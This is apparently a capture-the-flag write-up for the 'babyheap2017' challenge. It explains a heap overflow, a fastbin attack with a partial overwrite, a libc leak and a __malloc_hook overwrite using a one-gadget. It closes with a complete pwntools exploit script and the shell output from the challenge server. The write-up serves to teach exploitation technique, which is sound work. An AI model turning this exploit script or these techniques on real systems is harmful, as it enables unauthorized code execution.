Points: ~275 Solves: ~30 Category: Exploitation Description: Let’s practice some basic heap techniques in 2017 together!

babyheap2017

It’s been a while since I’ve posted anything here. Honestly I’ve been waiting for a nice heap exploitation challenge to come around and I think this is it.

Main

➜  babyheap ./babyheap
===== Baby Heap in 2017 =====
1. Allocate
2. Fill
3. Free
4. Dump
5. Exit
Command:

No need to dig into the disassembly since everything is pretty straight forward.

  • Allocate - lets us choose the size of a chunk to be allocated, size is restricted to <= 0x1000 and allocation is done via calloc, which means any allocated chunk’s memory is zeroed
  • Fill - lets us put data in a chunk. This is where the vulnerability is since we specify the amount of data to input and there’s no bounds checking
  • Free - just frees a chunk
  • Dump - prints the content of a chunk. The trick with this function is that the size of the allocated chunk is saved to a separate mmapped region and Dump does write(1, chunk, initial_sizeof(chunk)). So this means we can’t print more then the original size requested for the specific chunk

Dump

Before jumping into the exploit, let’s go over the constraints. We can overflow any chunk in memory but we can’t leak any data (at least not without fiddling with allocations first). Why is that ? Well, because to get a leak we first need to free a chunk so it’s FD or BK (depending on the size of the chunk) needs to get populated so they point to either the previous/next chunk in the heap or to the head of the list which they are part of, which is in main_arena structure inside libc.

So once we free a chunk, we can’t print the content of it because there’s no UAF vulnerability. Another method you are thinking is why we can’t leak the BK/FD ptrs of a free chunk from the previous chunk? This is because if we use Dump function on the previous chunk in memory, Dump will only output the amount of data we initially requested for that chunk. Now maybe you are thinking why we can’t free a few adjacent chunks and allocate a new big chunk that would contain all small freed chunks and leak their pointers from it’s content. This is because allocations are done via calloc and the content that would contain any pointers will be cleared with the allocation. So how do we get a leak with a FULL PIE (yes, I forgot to mention) binary?

The leak

To create a leak, we are going to force an allocation on top of already allocated chunk. After we have both chunks (a fastbin and smallbin sized chunks) overlaying each other we are going to free the smallbin sized chunk and then dump the content of the fastbin sized chunk which will be populated with the content of the smallbin’s FD and BK pointing to main_arena. To do that we are going to use partial-overwrite with fastbin attack

First step is to allocate a couple of same-sized fastbins and 1 smallbin which is going to be our overlay target that we want to allocate over. After that we free 2 of the fastbins, this will place the first freed fastbin in the fastbin list in main_arena for that index.

    alloc(0x20)
    alloc(0x20)     # <--- chunk being freed
    alloc(0x20)
    alloc(0x20)
    alloc(0x80)

    free(1)

And if we look at the content of the heap and main_arena we can see this chunk’s been put in it’s corresponding fastbin.

0x55db5d67f000: 0x0000000000000000  0x0000000000000031  <--- chunk 0 (fastbin, in use)
0x55db5d67f010: 0x0000000000000000  0x0000000000000000
0x55db5d67f020: 0x0000000000000000  0x0000000000000000
0x55db5d67f030: 0x0000000000000000  0x0000000000000031  <--- chunk 1 (fastbin, free)
0x55db5d67f040: 0x0000000000000000  0x0000000000000000
0x55db5d67f050: 0x0000000000000000  0x0000000000000000
0x55db5d67f060: 0x0000000000000000  0x0000000000000031  <--- chunk 2 (fastbin, in use)
0x55db5d67f070: 0x0000000000000000  0x0000000000000000
0x55db5d67f080: 0x0000000000000000  0x0000000000000000
0x55db5d67f090: 0x0000000000000000  0x0000000000000031  <--- chunk 3 (fastbin, in use)
0x55db5d67f0a0: 0x0000000000000000  0x0000000000000000
0x55db5d67f0b0: 0x0000000000000000  0x0000000000000000
0x55db5d67f0c0: 0x0000000000000000  0x0000000000000091  <--- chunk 4 (smallbin, in use)
0x55db5d67f0d0: 0x0000000000000000  0x0000000000000000
0x55db5d67f0e0: 0x0000000000000000  0x0000000000000000

gdb-peda$ x/40gx &main_arena
0x7f2f858deb20 <main_arena>:    0x0000000000000000  0x0000000000000000
0x7f2f858deb30 <main_arena+16>: 0x000055db5d67f030  0x0000000000000000  <--- populated fastbin
0x7f2f858deb40 <main_arena+32>: 0x0000000000000000  0x0000000000000000
0x7f2f858deb50 <main_arena+48>: 0x0000000000000000  0x0000000000000000
0x7f2f858deb60 <main_arena+64>: 0x0000000000000000  0x0000000000000000
0x7f2f858deb70 <main_arena+80>: 0x0000000000000000  0x000055db5d67f150  <--- top chunk
0x7f2f858deb80 <main_arena+96>: 0x0000000000000000  0x00007f2f858deb78
0x7f2f858deb90 <main_arena+112>:    0x00007f2f858deb78  0x00007f2f858deb88
0x7f2f858deba0 <main_arena+128>:    0x00007f2f858deb88  0x00007f2f858deb98

As you can see, we freed a fastbin and it’s put in it’s fastbin list but it’s FD is not populated because it’s of fastbin size, and fastbin chunks are only singly-linked. Since we need to do fastbin attack, we need to free another fastbin sized chunk so it’s placed on top of the fastbin free list and the chunk that’s currently in the fastbin free list will be placed in it’s FD field so they are “linked”.

    free(2)     # this will free 

gdb-peda$ x/40gx 0x000055db5d67f000
0x55db5d67f000: 0x0000000000000000  0x0000000000000031  <--- chunk 0 (fastbin, in use)
0x55db5d67f010: 0x0000000000000000  0x0000000000000000
0x55db5d67f020: 0x0000000000000000  0x0000000000000000
0x55db5d67f030: 0x0000000000000000  0x0000000000000031  <--- chunk 1 (fastbin, already free)
0x55db5d67f040: 0x0000000000000000  0x0000000000000000
0x55db5d67f050: 0x0000000000000000  0x0000000000000000
0x55db5d67f060: 0x0000000000000000  0x0000000000000031  <--- chunk 2 (fastbin, free)
0x55db5d67f070: 0x000055db5d67f030  0x0000000000000000
0x55db5d67f080: 0x0000000000000000  0x0000000000000000
0x55db5d67f090: 0x0000000000000000  0x0000000000000031  <--- chunk 3 (fastbin, in use)
0x55db5d67f0a0: 0x0000000000000000  0x0000000000000000
0x55db5d67f0b0: 0x0000000000000000  0x0000000000000000
0x55db5d67f0c0: 0x0000000000000000  0x0000000000000091  <--- chunk 4 (smallbin, in use)
0x55db5d67f0d0: 0x0000000000000000  0x0000000000000000
0x55db5d67f0e0: 0x0000000000000000  0x0000000000000000

gdb-peda$ x/40gx &main_arena
0x7f2f858deb20 <main_arena>:    0x0000000000000000  0x0000000000000000
0x7f2f858deb30 <main_arena+16>: 0x000055db5d67f060  0x0000000000000000  <--- last freed chunk
0x7f2f858deb40 <main_arena+32>: 0x0000000000000000  0x0000000000000000   is placed on top of
0x7f2f858deb50 <main_arena+48>: 0x0000000000000000  0x0000000000000000   free list
0x7f2f858deb60 <main_arena+64>: 0x0000000000000000  0x0000000000000000
0x7f2f858deb70 <main_arena+80>: 0x0000000000000000  0x000055db5d67f150
0x7f2f858deb80 <main_arena+96>: 0x0000000000000000  0x00007f2f858deb78

Fastbin attack

To explain the fastbin attack, we now have 2 free chunks in the fastbin free list. If we request an allocation of this size, malloc will serve us the chunk currently on top of the list (0x000055db5d67f060) and it will place the chunk pointed to by it’s FD pointer on top of the free list for the next allocation. If we request another chunk of this size, malloc will serve us 0x000055db5d67f030 since it’s already placed on top of the free list and awaiting to be allocated. However, this is where we trick malloc. If we do partial overwrite on the pointer at [0x55db5d67f070] and we overwrite it’s LSB with the location of the smallbin (0x55db5d67f0c0). After the first time we request 0x000055db5d67f060, 0x000055db5d67f060->FD which is now 0x55db5d67f0c0 will be placed on top of the fastbin free list. And on the next allocation malloc will serve us a chunk allocated right on top of the smallbin. The only requirement we need to pass with the final allocation is

if (__builtin_expect (fastbin_index (chunksize (victim)) != idx, 0))
{
    errstr = "malloc(): memory corruption (fast)";
errout:
    malloc_printerr (check_action, errstr, chunk2mem (victim), av);
    return NULL;
}

Which basically checks if the victim->size (0x55db5d67f0c0->size) corresponds to the size of this fastbin request (which does not because victim->size is 0x91 and we are requesting fastbin 0x20), but we can easily fix that with the overflow we are given.

To show you how that looks like:

    payload  = p64(0)*5
    payload += p64(0x31)
    payload += p64(0)*5
    payload += p64(0x31)
    payload += p8(0xc0)
    fill(0, payload)        # Partial overwrite of fastbin->FD with \xc0 (location of smallbin)

    payload  = p64(0)*5
    payload += p64(0x31)    # Corrupting smallbin->size to pass allocation assert
    fill(3, payload)

    alloc(0x20)
    alloc(0x20)

gdb-peda$ x/40gx 0x000055db5d67f000
0x55db5d67f000: 0x0000000000000000  0x0000000000000031  <--- chunk 0 (fastbin, in use)
0x55db5d67f010: 0x0000000000000000  0x0000000000000000
0x55db5d67f020: 0x0000000000000000  0x0000000000000000
0x55db5d67f030: 0x0000000000000000  0x0000000000000031  <--- chunk 1 (fastbin, free)
0x55db5d67f040: 0x0000000000000000  0x0000000000000000
0x55db5d67f050: 0x0000000000000000  0x0000000000000000
0x55db5d67f060: 0x0000000000000000  0x0000000000000031  <--- chunk 2 (fastbin, free)
0x55db5d67f070: 0x000055db5d67f0c0  0x0000000000000000   FD corruption
0x55db5d67f080: 0x0000000000000000  0x0000000000000000
0x55db5d67f090: 0x0000000000000000  0x0000000000000031  <--- chunk 3 (fastbin, in use)
0x55db5d67f0a0: 0x0000000000000000  0x0000000000000000
0x55db5d67f0b0: 0x0000000000000000  0x0000000000000000
0x55db5d67f0c0: 0x0000000000000000  0x0000000000000031  <--- chunk 4 (smallbin, in use) ->size
0x55db5d67f0d0: 0x0000000000000000  0x0000000000000000   corrupted to 0x31
0x55db5d67f0e0: 0x0000000000000000  0x0000000000000000

Smallbin leak

Now we have a smallbin and fastbin both allocated at 0x55db5d67f0c0, we still need a leak. To populate smallbin’s FD and BK we need to free it. But if we free it with it’s current size 0x31 it will be placed in a fastbin and we won’t get any FD BK populated, so we just need to restore its’ size to 0x91 and then free it (don’t over-think too much here :P).

Exploit

Ok, now we have the address of libc and we know how fastbin attack works, what now ? Well, we use same same… but different :) We can use fastbin attack to place a libc address in the fastbin free list, so malloc returns this libc address and we can overwrite libc stuff. Our target is __malloc_hook, which is a function pointer that malloc calls if this pointer is not NULL.

  void *(*hook) (size_t, const void *) =
    atomic_forced_read (__malloc_hook);
  if (__builtin_expect (hook != NULL, 0))
    {
      sz = bytes;
      mem = (*hook)(sz, RETURN_ADDRESS (0));
      if (mem == 0)
        return 0;

      return memset (mem, 0, sz);
    }
gdb-peda$ x/40gx (long long)(&main_arena)-0x30
0x7ffff7dd1af0 <_IO_wide_data_0+304>:   0x00007ffff7dd0260  0x0000000000000000
0x7ffff7dd1b00 <__memalign_hook>:   0x00007ffff7a93270  0x00007ffff7a92e50
0x7ffff7dd1b10 <__malloc_hook>: 0x0000000000000000  0x0000000000000000  <--- target
0x7ffff7dd1b20 <main_arena>:    0x0000000100000000  0x0000000000000000
0x7ffff7dd1b30 <main_arena+16>: 0x0000000000000000  0x0000000000000000
0x7ffff7dd1b40 <main_arena+32>: 0x0000000000000000  0x0000000000000000
0x7ffff7dd1b50 <main_arena+48>: 0x0000000000000000  0x0000000000000000

Do you remember what was the requirement with the fastbin attack ? If you scroll up, you can see that there’s an assertion for the size being allocated needs to match the index for this fastbin. So if we put 0x7ffff7dd1b00 in a fastbin so we can request it and write over the __malloc_hook, we are gonna crash on requesting this chunk because 0x7ffff7dd1b00->size is 0x00007ffff7a92e50 which is waaaaaaay past fastbin sizes. But we know that the fastbin sizes range from 0x20 to 0x80 inclusive (on a 64bit system, it’s size_t * 16), so what do we do ? Well, here we don’t have to be aligned ! Knowing this we can shift these addresses so we can get the MSB (0x7f) to overlay at our fake chunk’s ->size which will match with the index for 0x70 bytes sized chunks.

gdb-peda$ x/4gx (long long)(&main_arena)-0x40+0xd
0x7ffff7dd1aed: 0xfff7dd0260000000  0x000000000000007f  <--- fake size matching 0x70 indexes
0x7ffff7dd1afd: 0xfff7a93270000000  0xfff7a92e5000007f
gdb-peda$

So placing 0x7ffff7dd1aed address in a fastbin free list and requesting it passes all the necessary checks of malloc and it’s right before our target __malloc_hook.

One gadget

Of course we can simplify further exploitation if we can use the one shot / magic gadget and not worry about pivoting and system arguments. A few days ago I stumbled upon this amazing tool by david942j that finds the addresses and lists the requirements for using the one shot magic gadget :).

Full Exploit Code

#!/usr/bin/env python

from pwn import *
import sys

def alloc(size):
    r.sendline('1')
    r.sendlineafter(': ', str(size))
    r.recvuntil(': ', timeout=1)

def fill(idx, data):
    r.sendline('2')
    r.sendlineafter(': ', str(idx))
    r.sendlineafter(': ', str(len(data)))
    r.sendafter(': ', data)
    r.recvuntil(': ')

def free(idx):
    r.sendline('3')
    r.sendlineafter(': ', str(idx))
    r.recvuntil(': ')

def dump(idx):
    r.sendline('4')
    r.sendlineafter(': ', str(idx))
    r.recvuntil(': \n')
    data = r.recvline()
    r.recvuntil(': ')
    return data

def exploit(r):
    r.recvuntil(': ')

    alloc(0x20)
    alloc(0x20)
    alloc(0x20)
    alloc(0x20)
    alloc(0x80)

    free(1)
    free(2)

    payload  = p64(0)*5
    payload += p64(0x31)
    payload += p64(0)*5
    payload += p64(0x31)
    payload += p8(0xc0)
    fill(0, payload)

    payload  = p64(0)*5
    payload += p64(0x31)
    fill(3, payload)

    alloc(0x20)
    alloc(0x20)

    payload  = p64(0)*5
    payload += p64(0x91)
    fill(3, payload)
    alloc(0x80)
    free(4)

    libc_base = u64(dump(2)[:8]) - 0x3a5678
    log.info("libc_base: " + hex(libc_base))

    alloc(0x68)
    free(4)

    fill(2, p64(libc_base + 0x3a55ed))
    alloc(0x60)
    alloc(0x60)

    payload  = '\x00'*3
    payload += p64(0)*2
    payload += p64(libc_base + 0x41374)
    fill(6, payload)

    alloc(255)

    r.interactive()

if __name__ == "__main__":
    log.info("For remote: %s HOST PORT" % sys.argv[0])
    if len(sys.argv) > 1:
        r = remote(sys.argv[1], int(sys.argv[2]))
        exploit(r)
    else:
        r = process(['./babyheap'], env={"LD_PRELOAD":"./libc.so.6"})
        print util.proc.pidof(r)
        pause()
        exploit(r)
➜  babyheap python ./babyheap.py 202.120.7.218 2017
[*] For remote: ./babyheap.py HOST PORT
[+] Opening connection to 202.120.7.218 on port 2017: Done
[*] libc_base: 0x7fca9b745000
[*] Switching to interactive mode
$ id
uid=1001(babyheap) gid=1001(babyheap) groups=1001(babyheap)
$ cat home/babyheap/flag
flag{you_are_now_a_qualified_heap_beginner_in_2017}
$